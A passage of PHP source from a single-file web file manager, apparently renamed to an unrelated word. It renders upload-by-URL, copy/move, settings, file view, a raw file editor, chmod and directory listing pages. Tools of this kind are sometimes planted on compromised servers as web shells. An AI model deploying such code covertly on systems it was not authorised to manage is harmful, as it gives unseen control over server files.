<input type="url" placeholder="URL" name="uploadurl" required class="form-control" style="width: 80%">
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<button type="submit" class="btn btn-primary ms-3"><?php echo lng('Upload') ?></button>
<div class="lds-facebook"><div></div><div></div><div></div></div>
</form>
<div id="js-url-upload__list" class="col-9 mt-3"></div>
</div>
</div>
</div>
</div>
<?php print_external('js-dropzone'); ?>
<script>
Dropzone.options.fileUploader = {
chunking: true,
chunkSize: <?php echo UPLOAD_CHUNK_SIZE; ?>,
forceChunking: true,
retryChunks: true,
retryChunksLimit: 3,
parallelUploads: 1,
parallelChunkUploads: false,
timeout: 120000,
maxFilesize: "<?php echo MAX_UPLOAD_SIZE; ?>",
acceptedFiles : "<?php echo getUploadExt() ?>",
init: function () {
this.on("sending", function (file, xhr, formData) {
let _path = (file.fullPath) ? file.fullPath : file.name;
document.getElementById("fullpath").value = _path;
xhr.ontimeout = (function() {
toast('Error: Server Timeout');
});
}).on("success", function (res) {
try {
let _response = JSON.parse(res.xhr.response);
if(_response.status == "error") {
toast(_response.info);
}
} catch (e) {
toast("Error: Invalid JSON response");
}
}).on("error", function(file, response) {
toast(response);
});
}
}
</script>
<?php
fm_show_footer();
exit;
}
if (isset($_POST['copy']) and !FM_READONLY) {
$copy_files = isset($_POST['file']) ? $_POST['file'] : null;
if (!is_array($copy_files) || empty($copy_files)) {
fm_set_msg(lng('Nothing selected'), 'alert');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
?>
<div class="path">
<div class="card <?php echo fm_get_theme(); ?>">
<div class="card-header">
<h6><?php echo lng('Copying') ?></h6>
</div>
<div class="card-body">
<form action="" method="post">
<input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
<input type="hidden" name="finish" value="1">
<?php
foreach ($copy_files as $cf) {
echo '<input type="hidden" name="file[]" value="' . fanco($cf) . '">' . PHP_EOL;
}
?>
<p class="break-word"><strong><?php echo lng('Files') ?></strong>: <b><?php echo implode('</b>, <b>', $copy_files) ?></b></p>
<p class="break-word"><strong><?php echo lng('SourceFolder') ?></strong>: <?php echo fanco(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?><br>
<label for="inp_copy_to"><strong><?php echo lng('DestinationFolder') ?></strong>:</label>
<?php echo FM_ROOT_PATH ?>/<input type="text" name="copy_to" id="inp_copy_to" value="<?php echo fanco(FM_PATH) ?>">
</p>
<p class="custom-checkbox custom-control"><input type="checkbox" name="move" value="1" id="js-move-files" class="custom-control-input"><label for="js-move-files" class="custom-control-label ms-2"> <?php echo lng('Move') ?></label></p>
<p>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-danger"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Copy') ?></button>
</p>
</form>
</div>
</div>
</div>
<?php
fm_show_footer();
exit;
}
if (isset($_GET['copy']) and !isset($_GET['finish']) and !FM_READONLY) {
$copy = $_GET['copy'];
$copy = fm_clean_path($copy);
if ($copy == '' || !file_exists(FM_ROOT_PATH . '/' . $copy)) {
fm_set_msg(lng('File not found'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
fm_show_header();
fm_show_nav_path(FM_PATH);
?>
<div class="path">
<p><b>Copying</b></p>
<p class="break-word">
<strong>Source path:</strong> <?php echo fanco(fm_convert_win(FM_ROOT_PATH . '/' . $copy)) ?><br>
<strong>Destination folder:</strong> <?php echo fanco(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?>
</p>
<p>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode($copy) ?>&finish=1"><i class="fa fa-check-circle"></i> Copy</a></b>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode($copy) ?>&finish=1&move=1"><i class="fa fa-check-circle"></i> Move</a></b>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="text-danger"><i class="fa fa-times-circle"></i> Cancel</a></b>
</p>
<p><i><?php echo lng('Select folder') ?></i></p>
<ul class="folders break-word">
<?php
if ($parent !== false) {
?>
<li><a href="?p=<?php echo urlencode($parent) ?>&copy=<?php echo urlencode($copy) ?>"><i class="fa fa-chevron-circle-left"></i> ..</a></li>
<?php
}
foreach ($folders as $f) {
?>
<li>
<a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>&copy=<?php echo urlencode($copy) ?>"><i class="fa fa-folder-o"></i> <?php echo fm_convert_win($f) ?></a></li>
<?php
}
?>
</ul>
</div>
<?php
fm_show_footer();
exit;
}
if (isset($_GET['settings']) and !FM_READONLY) {
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
global $cfg, $lang, $lang_list;
?>
<div class="col-md-8 offset-md-2 pt-3">
<div class="card mb-2 <?php echo fm_get_theme(); ?>">
<h6 class="card-header d-flex justify-content-between">
<span><i class="fa fa-cog"></i> <?php echo lng('Settings') ?></span>
<a href="?p=<?php echo FM_PATH ?>" class="text-danger"><i class="fa fa-times-circle-o"></i> <?php echo lng('Cancel')?></a>
</h6>
<div class="card-body">
<form id="js-settings-form" action="" method="post" data-type="ajax" onsubmit="return save_settings(this)">
<input type="hidden" name="type" value="settings" aria-label="hidden" aria-hidden="true">
<div class="form-group row">
<label for="js-language" class="col-sm-3 col-form-label"><?php echo lng('Language') ?></label>
<div class="col-sm-5">
<select class="form-select" id="js-language" name="js-language">
<?php
function getSelected($l) {
global $lang;
return ($lang == $l) ? 'selected' : '';
}
foreach ($lang_list as $k => $v) {
echo "<option value='$k' ".getSelected($k).">$v</option>";
}
?>
</select>
</div>
</div>
<div class="mt-3 mb-3 row ">
<label for="js-error-report" class="col-sm-3 col-form-label"><?php echo lng('ErrorReporting') ?></label>
<div class="col-sm-9">
<div class="form-check form-switch">
<input class="form-check-input" type="checkbox" role="switch" id="js-error-report" name="js-error-report" value="true" <?php echo $report_errors ? 'checked' : ''; ?> />
</div>
</div>
</div>
<div class="mb-3 row">
<label for="js-show-hidden" class="col-sm-3 col-form-label"><?php echo lng('ShowHiddenFiles') ?></label>
<div class="col-sm-9">
<div class="form-check form-switch">
<input class="form-check-input" type="checkbox" role="switch" id="js-show-hidden" name="js-show-hidden" value="true" <?php echo $show_hidden_files ? 'checked' : ''; ?> />
</div>
</div>
</div>
<div class="mb-3 row">
<label for="js-hide-cols" class="col-sm-3 col-form-label"><?php echo lng('HideColumns') ?></label>
<div class="col-sm-9">
<div class="form-check form-switch">
<input class="form-check-input" type="checkbox" role="switch" id="js-hide-cols" name="js-hide-cols" value="true" <?php echo $hide_Cols ? 'checked' : ''; ?> />
</div>
</div>
</div>
<div class="mb-3 row">
<label for="js-3-1" class="col-sm-3 col-form-label"><?php echo lng('Theme') ?></label>
<div class="col-sm-5">
<select class="form-select w-100" id="js-3-0" name="js-theme-3">
<option value='light' <?php if($theme == "light"){echo "selected";} ?>><?php echo lng('light') ?></option>
<option value='dark' <?php if($theme == "dark"){echo "selected";} ?>><?php echo lng('dark') ?></option>
</select>
</div>
</div>
<div class="mb-3 row">
<div class="col-sm-10">
<button type="submit" class="btn btn-success"> <i class="fa fa-check-circle"></i> <?php echo lng('Save'); ?></button>
</div>
</div>
</form>
</div>
</div>
</div>
<?php
fm_show_footer();
exit;
}
if (isset($_GET['help'])) {
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
global $cfg, $lang;
?>
<div class="col-md-8 offset-md-2 pt-3">
<div class="card mb-2 <?php echo fm_get_theme(); ?>">
<h6 class="card-header d-flex justify-content-between">
<span><i class="fa fa-exclamation-circle"></i> <?php echo lng('Help') ?></span>
<a href="?p=<?php echo FM_PATH ?>" class="text-danger"><i class="fa fa-times-circle-o"></i> <?php echo lng('Cancel')?></a>
</h6>
<div class="card-body">
<div class="row">
<div class="col-xs-12 col-sm-6">
<p><h3><a href="." target="_blank" class="app-v-title"> monactinellidan <?php echo VERSION; ?></a></h3></p>
</div>
<div class="col-xs-12 col-sm-6">
<div class="card">
<ul class="list-group list-group-flush">
<li class="list-group-item"><a href="." target="_blank"><i class="fa fa-question-circle"></i> <?php echo lng('Help Documents') ?> </a> </li>
<li class="list-group-item"><a href="." target="_blank"><i class="fa fa-bug"></i> <?php echo lng('Report Issue') ?></a></li>
<?php if(!FM_READONLY) { ?>
<li class="list-group-item"><a href="javascript:show_new_pwd();"><i class="fa fa-lock"></i> <?php echo lng('Generate new password hash') ?></a></li>
<?php } ?>
</ul>
</div>
</div>
</div>
<div class="row js-new-pwd hidden mt-2">
<div class="col-12">
<form class="form-inline" onsubmit="return new_password_hash(this)" method="POST" action="">
<input type="hidden" name="type" value="pwdhash" aria-label="hidden" aria-hidden="true">
<div class="form-group mb-2">
<label for="staticEmail2"><?php echo lng('Generate new password hash') ?></label>
</div>
<div class="form-group mx-sm-3 mb-2">
<label for="inputPassword2" class="sr-only"><?php echo lng('Password') ?></label>
<input type="text" class="form-control btn-sm" id="inputPassword2" name="inputPassword2" placeholder="<?php echo lng('Password') ?>" required>
</div>
<button type="submit" class="btn btn-success btn-sm mb-2"><?php echo lng('Generate') ?></button>
</form>
<textarea class="form-control" rows="2" readonly id="js-pwd-result"></textarea>
</div>
</div>
</div>
</div>
</div>
<?php
fm_show_footer();
exit;
}
if (isset($_GET['view'])) {
$file = $_GET['view'];
$file = fm_clean_path($file, false);
$file = str_replace('/', '', $file);
if ($file == '' || !is_file($path . '/' . $file) || !fm_is_exclude_items($file)) {
fm_set_msg(lng('File not found'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
$file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
$file_path = $path . '/' . $file;
$ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
$mime_type = fm_get_mime_type($file_path);
$filesize_raw = fm_get_size($file_path);
$filesize = fm_get_filesize($filesize_raw);
$is_zip = false;
$is_gzip = false;
$is_image = false;
$is_audio = false;
$is_video = false;
$is_text = false;
$is_onlineViewer = false;
$view_title = 'File';
$filenames = false; // for zip
$content = ''; // for text
$online_viewer = strtolower(FM_DOC_VIEWER);
if($online_viewer and $online_viewer !== 'false' and in_array($ext, fm_get_onlineViewer_exts())){
$is_onlineViewer = true;
}
elseif ($ext == 'zip' || $ext == 'tar') {
$is_zip = true;
$view_title = 'Archive';
$filenames = fm_get_zif_info($file_path, $ext);
} elseif (in_array($ext, fm_get_image_exts())) {
$is_image = true;
$view_title = 'Image';
} elseif (in_array($ext, fm_get_audio_exts())) {
$is_audio = true;
$view_title = 'Audio';
} elseif (in_array($ext, fm_get_video_exts())) {
$is_video = true;
$view_title = 'Video';
} elseif (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
$is_text = true;
$content = file_get_contents($file_path);
}
?>
<div class="row">
<div class="col-12">
<p class="break-word"><b><?php echo lng($view_title) ?> "<?php echo fanco(fm_convert_win($file)) ?>"</b></p>
<p class="break-word">
<?php $display_path = fm_get_display_path($file_path); ?>
<strong><?php echo $display_path['label']; ?>:</strong> <?php echo $display_path['path']; ?><br>
<strong>File size:</strong> <?php echo ($filesize_raw <= 1000) ? "$filesize_raw bytes" : $filesize; ?><br>
<strong>MIME-type:</strong> <?php echo $mime_type ?><br>
<?php
// ZIP info
if (($is_zip || $is_gzip) and $filenames !== false) {
$total_files = 0;
$total_comp = 0;
$total_uncomp = 0;
foreach ($filenames as $fn) {
if (!$fn['folder']) {
$total_files++;
}
$total_comp += $fn['compressed_size'];
$total_uncomp += $fn['filesize'];
}
?>
<?php echo lng('Files in archive') ?>: <?php echo $total_files ?><br>
<?php echo lng('Total size') ?>: <?php echo fm_get_filesize($total_uncomp) ?><br>
<?php echo lng('Size in archive') ?>: <?php echo fm_get_filesize($total_comp) ?><br>
<?php echo lng('Compression') ?>: <?php echo round(($total_comp / max($total_uncomp, 1)) * 100) ?>%<br>
<?php
}
// Image info
if ($is_image) {
$image_size = getimagesize($file_path);
echo '<strong>'.lng('Image size').':</strong> ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '<br>';
}
// Text info
if ($is_text) {
$is_utf8 = fm_is_utf8($content);
if (function_exists('iconv')) {
if (!$is_utf8) {
$content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content);
}
}
echo '<strong>'.lng('Charset').':</strong> ' . ($is_utf8 ? 'utf-8' : '8 bit') . '<br>';
}
?>
</p>
<div class="d-flex align-items-center mb-3">
<form method="post" class="d-inline ms-2" action="?p=<?php echo urlencode(FM_PATH) ?>&dl=<?php echo urlencode($file) ?>">
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<button type="submit" class="btn btn-link text-decoration-none fw-bold p-0"><i class="fa fa-cloud-download"></i> <?php echo lng('Download') ?></button>
</form>
<b class="ms-2"><a href="<?php echo fanco($file_url) ?>" target="_blank"><i class="fa fa-external-link-square"></i> <?php echo lng('Open') ?></a></b>
<?php
// ZIP actions
if (!FM_READONLY and ($is_zip || $is_gzip) and $filenames !== false) {
$zip_name = pathinfo($file_path, PATHINFO_FILENAME);
?>
<form method="post" class="d-inline ms-2">
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<input type="hidden" name="unzip" value="<?php echo urlencode($file); ?>">
<button type="submit" class="btn btn-link text-decoration-none fw-bold p-0" style="font-size: 14px;"><i class="fa fa-check-circle"></i> <?php echo lng('UnZip') ?></button>
</form>
<form method="post" class="d-inline ms-2">
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<input type="hidden" name="unzip" value="<?php echo urlencode($file); ?>">
<input type="hidden" name="tofolder" value="1">
<button type="submit" class="btn btn-link text-decoration-none fw-bold p-0" style="font-size: 14px;" title="UnZip to <?php echo fanco($zip_name) ?>"><i class="fa fa-check-circle"></i> <?php echo lng('UnZipToFolder') ?></button>
</form>
<?php
}
if ($is_text and !FM_READONLY) {
?>
<b class="ms-2"><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>" class="edit-file"><i class="fa fa-pencil-square"></i> <?php echo lng('Edit') ?>
</a></b>
<b class="ms-2"><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>&env=ace"
class="edit-file"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?>
</a></b>
<?php } ?>
<b class="ms-2"><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back') ?></a></b>
</div>
<?php
if($is_onlineViewer) {
if($online_viewer == 'google') {
echo '<iframe src="https://docs.google.com/viewer?embedded=true&hl=en&url=' . fanco($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
} else if($online_viewer == 'microsoft') {
echo '<iframe src="https://view.officeapps.live.com/op/embed.aspx?src=' . fanco($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
}
} elseif ($is_zip) {
// ZIP content
if ($filenames !== false) {
echo '<code class="maxheight">';
foreach ($filenames as $fn) {
if ($fn['folder']) {
echo '<b>' . fanco($fn['name']) . '</b><br>';
} else {
echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')<br>';
}
}
echo '</code>';
} else {
echo '<p>'.lng('Error while fetching archive info').'</p>';
}
} elseif ($is_image) {
// Image content
if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) {
echo '<p><input type="checkbox" id="preview-img-zoomCheck"><label for="preview-img-zoomCheck"><img src="' . fanco($file_url) . '" alt="image" class="preview-img"></label></p>';
}
} elseif ($is_audio) {
// Audio content
echo '<p><audio src="' . fanco($file_url) . '" controls preload="metadata"></audio></p>';
} elseif ($is_video) {
// Video content
echo '<div class="preview-video"><video src="' . fanco($file_url) . '" width="640" height="360" controls preload="metadata"></video></div>';
} elseif ($is_text) {
if (FM_USE_HIGHLIGHTJS) {
// highlight
$hljs_classes = array(
'shtml' => 'xml',
'htaccess' => 'apache',
'phtml' => 'php',
'lock' => 'json',
'svg' => 'xml',
);
$hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext;
if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) {
$hljs_class = 'nohighlight';
}
$content = '<pre class="with-hljs"><code class="' . $hljs_class . '">' . fanco($content) . '</code></pre>';
} elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) {
// php highlight
$content = highlight_string($content, true);
} else {
$content = '<pre>' . fanco($content) . '</pre>';
}
echo $content;
}
?>
</div>
</div>
<?php
fm_show_footer();
exit;
}
// file editor
if (isset($_GET['edit']) and !FM_READONLY) {
$file = $_GET['edit'];
$file = fm_clean_path($file, false);
$file = str_replace('/', '', $file);
if ($file == '' || !is_file($path . '/' . $file) || !fm_is_exclude_items($file)) {
fm_set_msg(lng('File not found'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
$editFile = ' : <i><b>'. $file. '</b></i>';
header('X-XSS-Protection:0');
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
$file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
$file_path = $path . '/' . $file;
// normal editer
$isNormalEditor = true;
if (isset($_GET['env'])) {
if ($_GET['env'] == "ace") {
$isNormalEditor = false;
}
}
// Save File
if (isset($_POST['savedata'])) {
$writedata = $_POST['savedata'];
$fd = fopen($file_path, "w");
@fwrite($fd, $writedata);
fclose($fd);
fm_set_msg(lng('File Saved Successfully'));
}
$ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
$mime_type = fm_get_mime_type($file_path);
$filesize = filesize($file_path);
$is_text = false;
$content = ''; // for text
if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
$is_text = true;
$content = file_get_contents($file_path);
}
?>
<div class="path">
<div class="row">
<div class="col-xs-12 col-sm-5 col-lg-6 pt-1">
<div class="btn-toolbar" role="toolbar">
<?php if (!$isNormalEditor) { ?>
<div class="btn-group js-ace-toolbar">
<button data-cmd="none" data-option="fullscreen" class="btn btn-sm btn-outline-secondary" id="js-ace-fullscreen" title="<?php echo lng('Fullscreen') ?>"><i class="fa fa-expand" title="<?php echo lng('Fullscreen') ?>"></i></button>
<button data-cmd="find" class="btn btn-sm btn-outline-secondary" id="js-ace-search" title="<?php echo lng('Search') ?>"><i class="fa fa-search" title="<?php echo lng('Search') ?>"></i></button>
<button data-cmd="undo" class="btn btn-sm btn-outline-secondary" id="js-ace-undo" title="<?php echo lng('Undo') ?>"><i class="fa fa-undo" title="<?php echo lng('Undo') ?>"></i></button>
<button data-cmd="redo" class="btn btn-sm btn-outline-secondary" id="js-ace-redo" title="<?php echo lng('Redo') ?>"><i class="fa fa-repeat" title="<?php echo lng('Redo') ?>"></i></button>
<button data-cmd="none" data-option="wrap" class="btn btn-sm btn-outline-secondary" id="js-ace-wordWrap" title="<?php echo lng('Word Wrap') ?>"><i class="fa fa-text-width" title="<?php echo lng('Word Wrap') ?>"></i></button>
<select id="js-ace-mode" data-type="mode" title="<?php echo lng('Select Document Type') ?>" class="btn-outline-secondary border-start-0 d-none d-md-block"><option>-- <?php echo lng('Select Mode') ?> --</option></select>
<select id="js-ace-theme" data-type="theme" title="<?php echo lng('Select Theme') ?>" class="btn-outline-secondary border-start-0 d-none d-lg-block"><option>-- <?php echo lng('Select Theme') ?> --</option></select>
<select id="js-ace-fontSize" data-type="fontSize" title="<?php echo lng('Select Font Size') ?>" class="btn-outline-secondary border-start-0 d-none d-lg-block"><option>-- <?php echo lng('Select Font Size') ?> --</option></select>
</div>
<?php } ?>
</div>
</div>
<div class="edit-file-actions col-xs-12 col-sm-7 col-lg-6 text-end pt-1">
<a title="<?php echo lng('Back') ?>" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&view=<?php echo urlencode($file) ?>"><i class="fa fa-reply-all"></i> <?php echo lng('Back') ?></a>
<a title="<?php echo lng('BackUp') ?>" class="btn btn-sm btn-outline-primary" href="javascript:void(0);" onclick="backup('<?php echo urlencode(trim(FM_PATH)) ?>','<?php echo urlencode($file) ?>')"><i class="fa fa-database"></i> <?php echo lng('BackUp') ?></a>
<?php if ($is_text) { ?>
<?php if ($isNormalEditor) { ?>
<a title="Advanced" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>&env=ace"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?></a>
<button type="button" class="btn btn-sm btn-success" name="Save" data-url="<?php echo fanco($file_url) ?>" onclick="edit_save(this,'nrl')"><i class="fa fa-floppy-o"></i> Save
</button>
<?php } else { ?>
<a title="Plain Editor" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>"><i class="fa fa-text-height"></i> <?php echo lng('NormalEditor') ?></a>
<button type="button" class="btn btn-sm btn-success" name="Save" data-url="<?php echo fanco($file_url) ?>" onclick="edit_save(this,'ace')"><i class="fa fa-floppy-o"></i> <?php echo lng('Save') ?>
</button>
<?php } ?>
<?php } ?>
</div>
</div>
<?php
if ($is_text and $isNormalEditor) {
echo '<textarea class="mt-2" id="normal-editor" rows="33" cols="120" style="width: 99.5%;">' . htmlspecialchars($content) . '</textarea>';
echo '<script>document.addEventListener("keydown", function(e) {if ((window.navigator.platform.match("Mac") ? e.metaKey : e.ctrlKey) and e.keyCode == 83) { e.preventDefault();edit_save(this,"nrl");}}, false);</script>';
} elseif ($is_text) {
echo '<div id="editor" contenteditable="true">' . htmlspecialchars($content) . '</div>';
} else {
fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error');
}
?>
</div>
<?php
fm_show_footer();
exit;
}
if (isset($_GET['chmod']) and !FM_READONLY and !FM_IS_WIN) {
$file = $_GET['chmod'];
$file = fm_clean_path($file);
$file = str_replace('/', '', $file);
if ($file == '' || (!is_file($path . '/' . $file) and !is_dir($path . '/' . $file))) {
fm_set_msg(lng('File not found'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
$file_url = FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file;
$file_path = $path . '/' . $file;
$mode = fileperms($path . '/' . $file);
?>
<div class="path">
<div class="card mb-2 <?php echo fm_get_theme(); ?>">
<h6 class="card-header">
<?php echo lng('ChangePermissions') ?>
</h6>
<div class="card-body">
<p class="card-text">
<?php $display_path = fm_get_display_path($file_path); ?>
<?php echo $display_path['label']; ?>: <?php echo $display_path['path']; ?><br>
</p>
<form action="" method="post">
<input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
<input type="hidden" name="chmod" value="<?php echo fanco($file) ?>">
<table class="table compact-table <?php echo fm_get_theme(); ?>">
<tr>
<td></td>
<td><b><?php echo lng('Owner') ?></b></td>
<td><b><?php echo lng('Group') ?></b></td>
<td><b><?php echo lng('Other') ?></b></td>
</tr>
<tr>
<td style="text-align: right"><b><?php echo lng('Read') ?></b></td>
<td><label><input type="checkbox" name="ur" value="1"<?php echo ($mode & 00400) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="gr" value="1"<?php echo ($mode & 00040) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="or" value="1"<?php echo ($mode & 00004) ? ' checked' : '' ?>></label></td>
</tr>
<tr>
<td style="text-align: right"><b><?php echo lng('Write') ?></b></td>
<td><label><input type="checkbox" name="uw" value="1"<?php echo ($mode & 00200) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="gw" value="1"<?php echo ($mode & 00020) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="ow" value="1"<?php echo ($mode & 00002) ? ' checked' : '' ?>></label></td>
</tr>
<tr>
<td style="text-align: right"><b><?php echo lng('Execute') ?></b></td>
<td><label><input type="checkbox" name="ux" value="1"<?php echo ($mode & 00100) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="gx" value="1"<?php echo ($mode & 00010) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="ox" value="1"<?php echo ($mode & 00001) ? ' checked' : '' ?>></label></td>
</tr>
</table>
<p>
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-primary"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>
<button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Change') ?></button>
</p>
</form>
</div>
</div>
</div>
<?php
fm_show_footer();
exit;
}
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
fm_show_message();
$num_files = count($files);
$num_folders = count($folders);
$all_files_size = 0;
$tableTheme = (FM_THEME == "dark") ? "text-white bg-dark table-dark" : "bg-white";
?>
<form action="" method="post" class="pt-3">
<input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
<input type="hidden" name="group" value="1">
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<div class="table-responsive">
<table class="table table-bordered table-hover table-sm <?php echo $tableTheme; ?>" id="main-table">
<thead class="thead-white">
<tr>
<?php if (!FM_READONLY): ?>
<th style="width:3%" class="custom-checkbox-header">
<div class="custom-control custom-checkbox">
<input type="checkbox" class="custom-control-input" id="js-select-all-items" onclick="checkbox_toggle()">
<label class="custom-control-label" for="js-select-all-items"></label>
</div>
</th><?php endif; ?>
<th><?php echo lng('Name') ?></th>
<th><?php echo lng('Size') ?></th>
<th><?php echo lng('Modified') ?></th>
<?php if (!FM_IS_WIN and !$hide_Cols): ?>
<th><?php echo lng('Perms') ?></th>
<th><?php echo lng('Owner') ?></th><?php endif; ?>
<th><?php echo lng('Actions') ?></th>
</tr>
</thead>
<?php
if ($parent !== false) {
?>
<tr><?php if (!FM_READONLY): ?>
<td class="nosort"></td><?php endif; ?>
<td class="border-0" data-sort><a href="?p=<?php echo urlencode($parent) ?>"><i class="fa fa-chevron-circle-left go-back"></i> ..</a></td>
<td class="border-0" data-order></td>
<td class="border-0" data-order></td>
<td class="border-0"></td>
<?php if (!FM_IS_WIN and !$hide_Cols) { ?>
<td class="border-0"></td>
<td class="border-0"></td>
<?php } ?>
</tr>
<?php
}
$uu = 3399;
foreach ($folders as $f) {
$is_link = is_link($path . '/' . $f);
$img = $is_link ? 'icon-link_folder' : 'fa fa-folder-o';
$modif_raw = filemtime($path . '/' . $f);
$modif = date(FM_DATETIME_FORMAT, $modif_raw);
$date_sorting = strtotime(date("F d Y H:i:s.", $modif_raw));
$filesize_raw = "";
$filesize = lng('Folder');
$perms = substr(decoct(fileperms($path . '/' . $f)), -4);
if (function_exists('posix_getpwuid') and function_exists('posix_getgrgid')) {
$owner = posix_getpwuid(fileowner($path . '/' . $f));
$group = posix_getgrgid(filegroup($path . '/' . $f));
if ($owner === false) {
$owner = array('name' => '?');
}
if ($group === false) {
$group = array('name' => '?');
}
} else {
$owner = array('name' => '?');
$group = array('name' => '?');
}
?>
<tr>
<?php if (!FM_READONLY): ?>
<td class="custom-checkbox-td">
<div class="custom-control custom-checkbox">
<input type="checkbox" class="custom-control-input" id="<?php echo $uu ?>" name="file[]" value="<?php echo fanco($f) ?>">
<label class="custom-control-label" for="<?php echo $uu ?>"></label>
</div>
</td><?php endif; ?>
<td data-sort=<?php echo fm_convert_win(fanco($f)) ?>>
<div class="filename"><a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fanco($f)) ?>
</a><?php echo($is_link ? ' → <i>' . readlink($path . '/' . $f) . '</i>' : '') ?></div>
</td>
<td data-order="a-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT);?>">
<?php echo $filesize; ?>
</td>
<td data-order="a-<?php echo $date_sorting;?>"><?php echo $modif ?></td>
<?php if (!FM_IS_WIN and !$hide_Cols): ?>
<td><?php if (!FM_READONLY): ?><a title="Change Permissions" href="?p=<?php echo urlencode(FM_PATH) ?>&chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
</td>
<td><?php echo $owner['name'] . ':' . $group['name'] ?></td>
<?php endif; ?>
<td class="inline-actions"><?php if (!FM_READONLY): ?>
<a title="<?php echo lng('Delete')?>" href="?p=<?php echo urlencode(FM_PATH) ?>&del=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, '1028','<?php echo lng('Delete').' '.lng('Folder'); ?>','<?php echo urlencode($f) ?>', this.href);"> <i class="fa fa-trash-o" aria-hidden="true"></i></a>
